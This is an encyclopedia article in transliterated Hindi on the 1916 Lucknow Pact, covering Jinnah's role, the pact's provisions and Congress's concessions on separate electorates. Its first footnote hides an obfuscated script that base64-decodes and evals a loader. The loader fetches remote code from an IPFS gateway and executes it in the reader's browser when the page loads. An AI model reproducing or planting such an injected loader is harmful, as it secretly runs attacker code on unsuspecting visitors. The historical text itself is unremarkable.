लखनऊ समझौता

भारत डिस्कवरी प्रस्तुति
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lakhanoo samajhauta (disambar, 1916), bharatiy rashtriy kaangres evan akhil bharatiy muslim lig dvara kiya gaya samajhauta tha. ise 29 disambar ko lakhanoo adhiveshan mean kaangres dvara aur 31 disambar, 1916 ko lig dvara parit kiya gaya tha. lakhanoo ki baithak mean kaangres ke udaravadi aur anudaravadi gutoan ka phir se mel hua. is samajhaute mean bharat sarakar ke dhaanche aur hindoo tatha musalaman samudayoan ke bich sanbandhoan ke bare mean pravadhan tha. muhammad ali jinna aur bal gangadhar tilak is samajhaute ke pramukh nirmata the.[1]

jinna ki bhoomika

muhammad ali jinna 1910 ee. mean bambee (vartaman mumbee) ke muslim nirvachan kshetr se kendriy lejisletiv kauansil ke sadasy chune ge the. 1913 mean ve muslim lig mean shamil hue aur 1916 mean usake adhyaksh ho ge. isi haisiyat se unhoanne sanvaidhanik sudharoan ki 'sanyukt kaangres lig yojana' pesh ki. is yojana ke aantargat kaangres lig samajhaute se musalamanoan ke lie alag nirvachan kshetroan tatha jin prantoan mean ve alpasankhyak the, vahaan par unhean anupat se adhik pratinidhitv dene ki vyavastha ki gee. isi samajhaute ko lakhanoo samajhauta kahate haian.

pravadhan

pahale ke hisab se ye prastav gopal krishna gokhale ke 'rajanitik vidhan' ko age badhane vale the. inamean pravadhan tha ki praantiy evan keandriy vidhayikaoan ka tin-chauthaee hissa vyapak matadhikar ke zariye chuna jae aur keandriy karyakari parishad ke sadasyoan sahit karyakari parishadoan ke adhe sadasy, parishadoan dvara hi chune ge bharatiy hoan. keandriy karyakari ke pravadhan ko chho dakar ye prastav amataur par 1919 ke bharat sarakar adhiniyam mean shamil the.

kaangres dvara riyayat

kaangres praantiy parishad chunav mean musalamanoan ke lie alag nirvachan mandal tatha panjab evan bangal ko chho dakar, jahaan unhoanne hindoo aur sikkh alpasankhyakoan ko kuchh riyasatean dian, sabhi praantoan mean unhean riyayat[2] dene par bhi sahamat ho gee. yah samajhauta kuchh ilaqoan aur vishesh samoohoan ko pasand nahian tha, lekin isane 1920 se mahatma gaandhi ke 'asahayog andolan evan khilafat andolan ke lie hindoo-musalaman sahayog ka rasta saf kar diya.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ bharat jnanakosh, khand-5 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 146 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ janasankhya ke anupat se oopar

sanbandhit lekh

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adhunik kal
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varnamala kramanusar lekh khoj

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